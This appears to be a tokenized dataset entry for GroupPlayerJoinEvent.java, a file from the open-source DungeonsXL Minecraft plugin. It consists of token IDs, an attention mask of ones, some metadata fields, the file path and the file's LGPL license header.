339,
303,
339,
465,
964,
782,
758,
12368,
45,
343,
496,
13438,
1175,
648,
14132,
625,
49,
343,
496,
13438,
1175,
21281,
7940,
1095,
10744,
1095,
46,
320,
310,
453,
6429,
3105,
1222,
6697,
12368,
1089,
130,
8716,
480,
10618,
3105,
1222,
35556,
9927,
749,
1610,
1089,
4037,
310,
1175,
9925,
3367,
1565,
2977,
3367,
299,
9925,
51,
7432,
941,
12344,
492,
310,
758,
4370,
12368,
2163,
45,
1719,
2977,
3367,
49,
10744,
1095,
312,
310,
453,
4314,
63,
3119,
477,
1319,
391,
758,
12368,
4203,
451,
7882,
341,
1565,
2102,
51,
310,
1175,
6697,
12368,
1089,
14132,
1089,
299,
364,
12368,
1089,
64,
310,
1175,
21281,
3627,
12368,
299,
14132,
1089,
51,
11728,
2207,
492,
310,
1175,
21281,
556,
12368,
299,
364,
12368,
2362,
903,
51,
11728,
2207,
45,
13240,
625,
312,
310,
14132,
1089,
51,
489,
12368,
45,
909,
12368,
312,
310,
48517,
1630,
1089,
51,
489,
12368,
3169,
10350,
45,
909,
12368,
51,
114,
3169,
10350,
312,
310,
14132,
1089,
51,
489,
971,
10621,
11131,
4006,
45,
1719,
2977,
3367,
51,
114,
971,
10621,
11131,
1501,
312,
310,
14132,
1089,
51,
489,
971,
10621,
6614,
2799,
45,
419,
1565,
2977,
3367,
51,
114,
4008,
3414,
971,
10621,
6614,
2799,
49,
419,
1565,
2977,
3367,
51,
114,
971,
10621,
4325,
1405,
2148,
93,
5243,
49,
419,
1565,
2977,
3367,
51,
114,
971,
10621,
4325,
1405,
2148,
94,
5243,
49,
419,
1565,
2977,
3367,
51,
114,
971,
10621,
4325,
1405,
6203,
49,
419,
1565,
2977,
3367,
51,
114,
971,
10621,
33627,
2117,
93,
5243,
49,
419,
1565,
2977,
3367,
51,
114,
971,
10621,
33627,
2117,
94,
5243,
49,
419,
1565,
2977,
3367,
51,
114,
971,
10621,
33627,
6203,
312,
310,
14132,
1089,
51,
1896,
22198,
971,
45,
114,
22844,
36173,
51,
316,
22198,
78,
308,
10590,
1052,
310,
1175,
1922,
36937,
3663,
299,
327,
1477,
12368,
630,
762,
46,
419,
1293,
673,
909,
12368,
51,
114,
625,
51,
114,
41127,
51,
3591,
45,
1477,
12368,
51,
114,
625,
51,
114,
41127,
312,
310,
1175,
648,
2940,
1501,
5144,
1652,
2222,
638,
299,
6638,
1501,
5144,
1652,
2769,
419,
657,
390,
5980,
1501,
5144,
1652,
2222,
638,
45,
909,
12368,
51,
114,
625,
51,
114,
41127,
312,
310,
1175,
1922,
1421,
11727,
4006,
9074,
120,
1543,
1736,
2529,
299,
364,
22844,
36173,
419,
657,
2057,
11727,
4006,
9074,
120,
1543,
1736,
2529,
45,
1527,
1276,
1414,
8518,
13005,
24103,
1736,
2529,
588,
312,
310,
14132,
1089,
51,
1384,
3948,
5980,
1501,
5144,
1652,
45,
32244,
3663,
49,
2940,
1501,
5144,
1652,
2222,
638,
49,
419,
1421,
11727,
4006,
9074,
120,
1543,
1736,
2529,
312,
303,
339,
465,
581,
21281,
640,
12368,
365,
320,
310,
434,
327,
114,
12368,
1089,
882,
762,
46,
320,
343,
461,
364,
12368,
1089,
51,
11728,
2207,
492,
310,
339,
310,
461,
762,
64,
303,
339,
465,
453,
4314,
63,
6491,
477,
1431,
51,
42587,
992,
642,
331,
1851,
45036,
3374,
391,
5672,
341,
14132,
6385,
303,
453,
1429,
331,
14132,
6385,
758,
4183,
1348,
640,
334,
5907,
347,
19240,
285,
9074,
51,
48815,
1630,
1089,
4305,
941,
303,
581,
782,
5672,
12368,
1095,
724,
45655,
45,
3242,
648,
1565,
4754,
22785,
1095,
49,
343,
1175,
648,
1565,
454,
34467,
1095,
46,
320,
310,
364,
1095,
51,
286,
7334,
12368,
1095,
724,
45655,
45,
1719,
4754,
22785,
1095,
49,
1565,
454,
34467,
1095,
312,
303,
339,
465,
581,
782,
27424,
971,
45,
3242,
648,
1361,
49,
1175,
1922,
458,
6284,
4828,
49,
343,
1175,
648,
1565,
4754,
22785,
1095,
49,
1175,
648,
1565,
454,
34467,
1095,
46,
320,
310,
364,
1095,
51,
286,
8338,
971,
45,
707,
49,
458,
6284,
4828,
49,
1565,
4754,
22785,
1095,
49,
1565,
454,
34467,
1095,
312,
303,
339,
465,
581,
782,
563,
5820,
971,
45,
3242,
648,
1361,
49,
1175,
1922,
642,
6145,
13306,
49,
343,
1175,
648,
1565,
4754,
22785,
1095,
49,
1175,
648,
1565,
454,
34467,
1095,
46,
320,
310,
364,
1095,
51,
286,
5820,
971,
45,
707,
49,
642,
6145,
13306,
49,
1565,
4754,
22785,
1095,
49,
1565,
454,
34467,
1095,
312,
303,
339,
465,
581,
782,
563,
13534,
6145,
13306,
1630,
45,
3242,
648,
1565,
4754,
22785,
1095,
49,
343,
1175,
648,
1565,
454,
34467,
1095,
46,
320,
310,
364,
1095,
51,
286,
13534,
6145,
13306,
1630,
45,
1719,
4754,
22785,
1095,
49,
1565,
454,
34467,
1095,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
45655,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
45655,
12368,
742,
310,
339,
310,
758,
12368,
45,
12368,
625,
51,
14360,
100,
18174,
1336,
1235,
49,
21281,
7940,
1095,
51,
21127,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
45655,
18433,
10221,
337,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
45655,
18433,
10221,
337,
12368,
742,
310,
339,
310,
758,
12368,
45,
12368,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
10662,
4456,
100,
9640,
1363,
49,
21281,
7940,
1095,
51,
21127,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
45655,
25035,
10221,
337,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
45655,
25035,
10221,
337,
12368,
742,
310,
339,
310,
758,
12368,
45,
12368,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
33096,
5664,
741,
1122,
100,
9640,
1363,
49,
21281,
7940,
1095,
51,
21127,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
45655,
10221,
19093,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
45655,
10221,
19093,
12368,
742,
310,
339,
310,
758,
12368,
45,
12368,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
9640,
100,
5364,
1363,
49,
21281,
7940,
1095,
51,
21127,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
45655,
10221,
4645,
10221,
337,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
45655,
10221,
4645,
10221,
337,
12368,
742,
310,
339,
310,
758,
12368,
45,
12368,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
9640,
100,
5364,
100,
9640,
1363,
49,
21281,
7940,
1095,
51,
21127,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
19882,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
19882,
12368,
742,
310,
339,
310,
758,
12368,
45,
12368,
625,
51,
14360,
100,
11695,
88,
49,
21281,
7940,
1095,
51,
21127,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
19882,
10221,
337,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
19882,
10221,
337,
12368,
742,
310,
339,
310,
758,
12368,
45,
12368,
625,
51,
14360,
100,
11695,
88,
100,
9640,
1363,
49,
21281,
7940,
1095,
51,
11695,
88,
100,
9640,
1363,
312,
303,
339,
465,
581,
1922,
458,
78,
308,
6202,
21049,
1103,
23711,
12368,
45,
343,
496,
13438,
1175,
9925,
3367,
4086,
3367,
49,
343,
496,
13438,
1175,
21281,
7940,
1095,
10744,
1095,
46,
320,
310,
461,
4086,
3367,
51,
114,
4008,
23711,
12368,
979,
10744,
1095,
630,
21281,
7940,
1095,
51,
48411,
64,
303,
339,
465,
964,
782,
758,
4370,
12368,
2163,
45,
343,
496,
13438,
1175,
9925,
3367,
4086,
3367,
49,
343,
496,
13438,
1175,
21281,
7940,
1095,
10744,
1095,
46,
320,
310,
1175,
648,
16698,
299,
244,
458,
78,
308,
6202,
21049,
1103,
23711,
12368,
45,
3563,
3367,
49,
10744,
1095,
46,
419,
1037,
4340,
51,
27774,
518,
4340,
51,
18392,
64,
310,
364,
12368,
1089,
51,
20070,
45,
13484,
312,
310,
453,
906,
16698,
451,
3105,
1222,
607,
114,
12368,
1089,
130,
2315,
545,
19639,
642,
3105,
1222,
607,
4370,
12368,
2163,
4037,
310,
453,
496,
2987,
607,
390,
5671,
12368,
1089,
365,
480,
310,
453,
496,
2987,
19240,
285,
9074,
40,
286,
12391,
45607,
45,
4048,
51,
1151,
1978,
2140,
51,
1630,
1885,
1201,
51,
20375,
46,
310,
364,
4370,
12368,
2163,
51,
20070,
45,
13484,
312,
310,
364,
13905,
9927,
749,
1610,
1089,
51,
20070,
45,
1089,
51,
27774,
312,
310,
364,
13905,
9927,
749,
1610,
1089,
51,
4074,
13905,
9927,
749,
1610,
492,
310,
364,
25946,
6713,
1089,
51,
20070,
45,
1089,
51,
27774,
312,
310,
364,
25946,
6713,
1089,
51,
4074,
25946,
6713,
492,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
13905,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
13905,
12368,
742,
310,
339,
310,
1175,
21281,
14132,
299,
364,
12368,
2362,
903,
51,
11728,
2207,
45,
12368,
625,
51,
14360,
100,
18174,
1336,
1235,
312,
310,
364,
4370,
12368,
2163,
51,
20070,
45,
1089,
51,
27774,
312,
310,
453,
906,
16698,
451,
3105,
1222,
607,
114,
12368,
1089,
130,
2315,
545,
19639,
642,
3105,
1222,
607,
4370,
12368,
2163,
4037,
310,
453,
496,
2987,
607,
390,
5671,
12368,
1089,
365,
480,
310,
453,
496,
2987,
19240,
285,
9074,
40,
286,
12391,
45607,
45,
4048,
51,
1151,
1978,
2140,
51,
1630,
1885,
1201,
51,
20375,
46,
310,
364,
12368,
1089,
51,
20070,
45,
1089,
51,
27774,
312,
310,
364,
13905,
9927,
749,
1610,
1089,
51,
1384,
13905,
9927,
749,
1610,
45,
419,
364,
12368,
33363,
903,
51,
10624,
45,
12368,
33363,
903,
51,
33074,
100,
1425,
100,
19997,
100,
3319,
100,
11387,
490,
419,
364,
12368,
1089,
51,
11728,
7442,
2230,
1046,
14132,
51,
114,
15167,
903,
312,
310,
364,
13905,
9927,
749,
1610,
1089,
51,
20070,
45,
1089,
51,
18392,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
25946,
12368,
365,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
25946,
12368,
742,
310,
339,
310,
1175,
21281,
14132,
299,
364,
12368,
2362,
903,
51,
11728,
2207,
45,
12368,
625,
51,
14360,
100,
18174,
1336,
1235,
312,
310,
364,
4370,
12368,
2163,
51,
20070,
45,
1089,
51,
27774,
312,
310,
453,
906,
16698,
451,
3105,
1222,
607,
114,
12368,
1089,
130,
2315,
545,
19639,
642,
3105,
1222,
607,
4370,
12368,
2163,
4037,
310,
453,
496,
2987,
607,
390,
5671,
12368,
1089,
365,
480,
310,
453,
496,
2987,
19240,
285,
9074,
40,
286,
12391,
45607,
45,
4048,
51,
1151,
1978,
2140,
51,
1630,
1885,
1201,
51,
20375,
46,
310,
364,
12368,
1089,
51,
20070,
45,
1089,
51,
27774,
312,
310,
364,
25946,
6713,
1089,
51,
1384,
25946,
6713,
45,
419,
364,
37977,
9074,
51,
390,
25946,
6713,
1590,
1046,
419,
364,
12368,
33363,
903,
51,
10624,
45,
12368,
33363,
903,
51,
33074,
100,
1425,
100,
19997,
100,
3319,
100,
11387,
490,
419,
364,
12368,
1089,
51,
11728,
7442,
2230,
1046,
14132,
51,
114,
15167,
903,
312,
310,
364,
25946,
6713,
1089,
51,
20070,
45,
1089,
51,
18392,
312,
303,
339,
465,
581,
3858,
21281,
7940,
1095,
320,
310,
42780,
16031,
3766,
54,
490,
310,
41791,
88,
100,
9640,
1363,
45,
12368,
625,
51,
14360,
100,
11695,
88,
100,
9640,
1363,
490,
310,
535,
2414,
36598,
45,
12368,
625,
51,
14360,
100,
74,
2414,
36598,
100,
6770,
33747,
490,
310,
10083,
85,
21533,
45,
12368,
625,
51,
14360,
100,
32457,
21533,
490,
310,
6072,
3766,
54,
312,
603,
1175,
648,
364,
12368,
625,
64,
603,
21281,
7940,
1095,
45,
429,
14132,
625,
46,
320,
343,
364,
12368,
625,
299,
14132,
625,
64,
310,
339,
303,
339,
465,
581,
21281,
7940,
1095,
640,
12368,
7940,
1095,
365,
320,
310,
1922,
6862,
299,
673,
316,
36684,
13905,
9927,
749,
1610,
365,
979,
673,
316,
36684,
25946,
6713,
365,
419,
979,
327,
114,
12368,
2362,
903,
630,
762,
419,
1293,
364,
12368,
1089,
630,
762,
419,
1293,
673,
114,
12368,
1089,
51,
316,
29045,
1052,
310,
434,
327,
3887,
46,
320,
343,
461,
21281,
7940,
1095,
51,
48411,
64,
310,
339,
832,
434,
327,
316,
36684,
13905,
9927,
749,
1610,
1177,
320,
343,
461,
21281,
7940,
1095,
51,
74,
2414,
36598,
64,
310,
339,
832,
434,
327,
316,
36684,
25946,
6713,
1177,
320,
343,
461,
21281,
7940,
1095,
51,
32457,
21533,
64,
310,
339,
832,
434,
327,
316,
36684,
12368,
625,
45,
12368,
625,
51,
14360,
100,
11695,
88,
100,
9640,
1363,
509,
320,
343,
461,
21281,
7940,
1095,
51,
11695,
88,
100,
9640,
1363,
64,
310,
339,
310,
461,
21281,
7940,
1095,
51,
21127,
64,
303,
339,
465,
581,
782,
563,
9590,
12368,
4810,
13438,
1175,
21281,
7940,
1095,
10744,
1095,
46,
320,
310,
21281,
7940,
1095,
1565,
1095,
299,
640,
12368,
7940,
1095,
492,
310,
2681,
51,
124,
45,
6545,
49,
332,
286,
9590,
12368,
365,
518,
7517,
299,
332,
494,
1565,
1095,
494,
332,
518,
25153,
299,
332,
494,
10744,
1095,
312,
310,
434,
327,
39415,
630,
10744,
1095,
46,
320,
343,
364,
37977,
9074,
51,
4074,
36684,
1630,
1089,
492,
343,
364,
37977,
9074,
51,
5845,
1684,
492,
343,
758,
45655,
12368,
492,
310,
339,
832,
320,
343,
364,
37977,
9074,
51,
1384,
36684,
1630,
1089,
45,
1527,
312,
343,
434,
327,
4652,
1095,
630,
21281,
7940,
1095,
51,
74,
2414,
36598,
46,
320,
419,
758,
13905,
12368,
492,
343,
339,
832,
434,
327,
4652,
1095,
630,
21281,
7940,
1095,
51,
32457,
21533,
46,
320,
419,
758,
25946,
12368,
492,
343,
339,
832,
320,
419,
364,
13905,
9927,
749,
1610,
1089,
51,
4074,
13905,
9927,
749,
1610,
492,
419,
364,
13905,
9927,
749,
1610,
1089,
51,
20070,
45,
1089,
51,
27774,
312,
2125,
364,
25946,
6713,
1089,
51,
4074,
25946,
6713,
492,
419,
364,
25946,
6713,
1089,
51,
20070,
45,
1089,
51,
27774,
312,
2125,
364,
4370,
12368,
2163,
51,
20070,
45,
1089,
51,
18392,
312,
419,
364,
12368,
1089,
51,
20070,
45,
1089,
51,
18392,
312,
419,
758,
12368,
45,
4652,
1095,
51,
114,
12368,
625,
49,
10744,
1095,
312,
343,
339,
310,
339,
303,
339,
465,
453,
12102,
1431,
456,
29114,
619,
13291,
391,
341,
5746,
1621,
51,
303,
496,
1806,
303,
581,
782,
1343,
29843,
10221,
1095,
45,
3242,
648,
2283,
22785,
4644,
49,
1175,
648,
334,
34467,
2116,
46,
320,
310,
434,
327,
2913,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
1375,
29843,
10221,
1095,
63,
332,
547,
494,
332,
2283,
22785,
4644,
366,
494,
409,
7341,
2116,
2769,
51,
4560,
4602,
45,
2853,
22785,
4644,
46,
547,
494,
332,
334,
34467,
2116,
366,
494,
922,
34467,
1551,
51,
2832,
4602,
45,
287,
34467,
2116,
894,
310,
339,
310,
364,
1095,
51,
286,
2346,
10221,
1095,
45,
2853,
22785,
4644,
49,
334,
34467,
2116,
312,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
1496,
4090,
18172,
10221,
971,
6423,
365,
320,
310,
434,
327,
2913,
100,
20736,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
1384,
4090,
18172,
10221,
971,
6423,
742,
310,
339,
310,
1175,
6697,
12368,
1089,
14132,
1089,
299,
640,
4370,
12368,
1089,
492,
310,
434,
327,
13240,
1089,
882,
762,
46,
320,
343,
14132,
1089,
51,
1384,
4090,
18172,
10221,
971,
6423,
492,
310,
339,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
8260,
4090,
18172,
10221,
971,
6423,
365,
320,
310,
434,
327,
2913,
100,
20736,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
489,
45655,
12368,
742,
310,
339,
310,
1175,
6697,
12368,
1089,
14132,
1089,
299,
640,
4370,
12368,
1089,
492,
310,
434,
327,
13240,
1089,
882,
762,
46,
320,
343,
14132,
1089,
51,
8158,
4090,
18172,
10221,
971,
6423,
492,
310,
339,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
758,
3597,
77,
7996,
2116,
4006,
45,
4412,
5892,
46,
320,
310,
434,
327,
114,
12368,
1089,
4687,
51,
37714,
77,
7996,
2116,
4006,
365,
630,
5892,
46,
320,
343,
461,
64,
310,
339,
310,
1175,
9925,
4086,
299,
9925,
51,
7432,
492,
310,
364,
12368,
1089,
4687,
51,
489,
3597,
77,
7996,
2116,
4006,
45,
6572,
312,
310,
364,
12368,
1089,
4687,
51,
489,
3597,
77,
7996,
27025,
45,
3563,
51,
12344,
941,
114,
3597,
77,
7996,
2116,
27025,
312,
603,
4086,
51,
1838,
3597,
77,
7996,
2116,
4006,
45,
6572,
312,
603,
453,
922,
963,
341,
9476,
14132,
758,
642,
341,
2454,
3406,
310,
2480,
12368,
45,
114,
37977,
9074,
51,
12344,
1630,
4836,
1139,
1046,
4086,
51,
12344,
1046,
419,
364,
37977,
9074,
51,
12344,
4754,
22785,
1095,
1046,
364,
37977,
9074,
51,
12344,
454,
34467,
1095,
1052,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
782,
3593,
3597,
77,
7996,
2116,
365,
320,
310,
364,
12368,
1089,
4687,
51,
4651,
3597,
77,
7996,
2116,
7433,
492,
310,
9925,
51,
7432,
941,
1838,
3597,
77,
7996,
2116,
27025,
45,
114,
12368,
1089,
4687,
51,
37714,
77,
7996,
27025,
1052,
303,
339,
465,
453,
34799,
3105,
1222,
21281,
1095,
51,
7940,
7113,
4037,
303,
496,
1806,
303,
581,
1922,
43337,
4090,
18172,
10221,
971,
4291,
365,
320,
310,
434,
327,
2913,
100,
20736,
100,
8755,
46,
320,
343,
2681,
51,
105,
45,
6545,
49,
332,
28831,
4090,
18172,
10221,
971,
4291,
742,
310,
339,
310,
1175,
6697,
12368,
1089,
14132,
1089,
299,
640,
4370,
12368,
1089,
492,
310,
461,
14132,
1089,
882,
762,
979,
14132,
1089,
51,
28831,
4090,
18172,
10221,
971,
4291,
492,
303,
339,
465,
1041,
294,
338,
19275,
1621,
6676,
391,
11038,
986,
1429,
391,
6936,
3593,
1769,
391,
341,
4575,
2945,
51,
294,
588,
303,
581,
782,
563,
1167,
45,
3242,
3916,
1708,
49,
1175,
648,
1565,
4754,
22785,
1095,
49,
343,
1175,
648,
1565,
454,
34467,
1095,
46,
320,
310,
364,
1095,
51,
286,
1167,
45,
1585,
49,
1565,
4754,
22785,
1095,
49,
1565,
454,
34467,
1095,
312,
303,
339,
465,
581,
1922,
458,
36684,
12368,
625,
4810,
13438,
648,
1198,
14132,
5345,
46,
320,
310,
434,
327,
114,
12368,
1089,
630,
762,
1293,
673,
114,
12368,
1089,
51,
316,
29045,
1177,
320,
343,
461,
920,
64,
310,
339,
310,
648,
4537,
12368,
625,
299,
364,
12368,
1089,
51,
11728,
2207,
941,
114,
625,
51,
114,
1325,
625,
64,
310,
456,
327,
429,
14132,
625,
518,
14132,
5345,
46,
320,
343,
434,
327,
2498,
12368,
625,
630,
14132,
625,
46,
320,
419,
461,
878,
64,
343,
339,
310,
339,
310,
461,
920,
64,
303,
339,
465,
581,
1922,
458,
36684,
13905,
9927,
749,
1610,
365,
320,
310,
461,
364,
13905,
9927,
749,
1610,
1089,
882,
762,
979,
364,
13905,
9927,
749,
1610,
1089,
51,
316,
29045,
492,
303,
339,
465,
581,
1922,
458,
36684,
25946,
6713,
365,
320,
310,
461,
364,
25946,
6713,
1089,
882,
762,
979,
364,
25946,
6713,
1089,
51,
316,
29045,
492,
303,
339,
465,
581,
1922,
458,
36684,
8901,
5044,
3686,
365,
320,
310,
434,
327,
316,
36684,
13905,
9927,
749,
1610,
365,
1293,
458,
36684,
25946,
6713,
1177,
320,
343,
461,
920,
64,
310,
339,
310,
461,
364,
12368,
1089,
51,
316,
36684,
8901,
5044,
3686,
492,
303,
339,
465,
581,
4340,
640,
5671,
12368,
1089,
365,
320,
310,
434,
327,
316,
36684,
13905,
9927,
749,
1610,
1177,
320,
343,
461,
364,
13905,
9927,
749,
1610,
1089,
64,
310,
339,
832,
434,
327,
316,
36684,
25946,
6713,
1177,
320,
343,
461,
364,
25946,
6713,
1089,
64,
310,
339,
310,
461,
364,
12368,
1089,
4687,
64,
303,
339,
465,
581,
6697,
12368,
1089,
640,
4370,
12368,
1089,
365,
320,
310,
461,
364,
12368,
1089,
64,
303,
339,
465,
581,
782,
428,
14942,
5030,
365,
320,
310,
434,
327,
114,
12368,
1089,
882,
762,
46,
320,
343,
364,
12368,
1089,
51,
8158,
1947,
84,
33440,
318,
5015,
492,
343,
364,
12368,
1089,
51,
305,
14942,
5030,
492,
310,
339,
310,
434,
327,
114,
13905,
9927,
749,
1610,
1089,
882,
762,
46,
320,
343,
364,
13905,
9927,
749,
1610,
1089,
51,
4074,
13905,
9927,
749,
1610,
492,
310,
339,
310,
434,
327,
114,
25946,
6713,
1089,
882,
762,
46,
320,
343,
364,
25946,
6713,
1089,
51,
4074,
25946,
6713,
492,
310,
339,
303,
339,
465,
581,
4340,
16456,
1630,
1089,
45,
3242,
1922,
458,
23711,
14586,
25411,
4631,
4006,
46,
320,
310,
434,
327,
114,
12368,
1089,
882,
762,
46,
320,
343,
364,
12368,
1089,
51,
21646,
492,
310,
339,
603,
1991,
12368,
6537,
2199,
1237,
6537,
4687,
45,
419,
364,
37977,
9074,
49,
21281,
6537,
51,
11728,
2207,
6537,
45,
114,
37977,
9074,
1276,
1637,
588,
894,
310,
48517,
1630,
1089,
299,
327,
1630,
1089,
46,
25966,
51,
1097,
45,
114,
6537,
1237,
566,
23053,
45,
419,
578,
51,
3106,
51,
1151,
100,
1090,
49,
762,
312,
310,
364,
4370,
12368,
2163,
299,
48517,
1630,
1089,
51,
14137,
45,
87,
51,
333,
51,
1850,
100,
13240,
100,
1763,
312,
310,
364,
13905,
9927,
749,
1610,
1089,
299,
48517,
1630,
1089,
51,
14137,
45,
87,
51,
333,
51,
13491,
100,
4554,
749,
1610,
100,
1090,
312,
310,
364,
25946,
6713,
1089,
299,
48517,
1630,
1089,
51,
14137,
45,
87,
51,
333,
51,
27766,
100,
6503,
100,
1090,
312,
603,
364,
12368,
1089,
4687,
299,
48517,
1630,
1089,
51,
14137,
45,
87,
51,
333,
51,
13240,
100,
1090,
100,
5106,
312,
310,
364,
12368,
1089,
4687,
51,
489,
12368,
17317,
45,
114,
37977,
9074,
312,
310,
364,
12368,
1089,
299,
48517,
1630,
1089,
51,
14137,
45,
87,
51,
333,
51,
13240,
100,
1090,
312,
310,
364,
12368,
1089,
51,
489,
23711,
14586,
25411,
4631,
4006,
45,
316,
23711,
14586,
25411,
4631,
4006,
312,
310,
364,
12368,
1089,
51,
489,
12368,
17317,
45,
114,
37977,
9074,
312,
310,
364,
13905,
9927,
749,
1610,
1089,
51,
489,
23711,
14586,
25411,
4631,
4006,
45,
419,
458,
23711,
14586,
25411,
4631,
4006,
312,
310,
364,
13905,
9927,
749,
1610,
1089,
51,
489,
12368,
17317,
45,
114,
37977,
9074,
312,
310,
364,
25946,
6713,
1089,
51,
489,
23711,
14586,
25411,
4631,
4006,
45,
419,
458,
23711,
14586,
25411,
4631,
4006,
312,
310,
364,
25946,
6713,
1089,
51,
489,
12368,
17317,
45,
114,
37977,
9074,
312,
310,
461,
48517,
1630,
1089,
64,
303,
339,
465,
581,
648,
640,
12368,
10221,
2116,
365,
320,
310,
1175,
21281,
14132,
299,
640,
12368,
492,
310,
434,
327,
13240,
630,
762,
46,
320,
343,
461,
10229,
31348,
51,
44025,
100,
4986,
100,
6672,
64,
310,
339,
310,
3593,
327,
13240,
51,
114,
625,
51,
114,
1325,
625,
46,
320,
310,
1152,
21281,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
9640,
100,
5364,
1363,
63,
310,
1152,
21281,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
9640,
100,
5364,
100,
9640,
1363,
63,
343,
461,
10229,
31348,
51,
44025,
100,
4986,
100,
10662,
4456,
100,
9640,
100,
5364,
1363,
64,
310,
1152,
21281,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
10662,
4456,
100,
9640,
1363,
63,
343,
461,
10229,
31348,
51,
44025,
100,
4986,
100,
10662,
4456,
100,
9640,
1363,
64,
310,
1152,
21281,
625,
51,
14360,
100,
18174,
1336,
1235,
100,
33096,
5664,
741,
1122,
100,
9640,
1363,
63,
343,
461,
10229,
31348,
51,
44025,
100,
4986,
100,
13237,
100,
9640,
1363,
64,
310,
1263,
63,
343,
461,
10229,
31348,
51,
44025,
100,
4986,
100,
6672,
64,
310,
339,
303,
339,
465,
581,
648,
23403,
12368,
3223,
625,
365,
320,
310,
434,
327,
1710,
630,
364,
12368,
2362,
903,
46,
320,
343,
461,
10293,
2769,
51,
12224,
100,
14165,
64,
310,
339,
310,
461,
364,
12368,
2362,
903,
51,
390,
3223,
625,
492,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 5,681
| true
| 70.079149
| true
| true
|
GroupPlayerJoinEvent.java
|
/FileExtraction/Java_unseen/DRE2N_DungeonsXL/api/src/main/java/de/erethon/dungeonsxl/api/event/group/GroupPlayerJoinEvent.java
|
/*
* Copyright (C) 2014-2023 Daniel Saukel
*
* This library is free software: you can redistribute it and/or modify it under the
* terms of the GNU Lesser General Public License as published by the Free Software
* Foundation, either version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNULesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*/
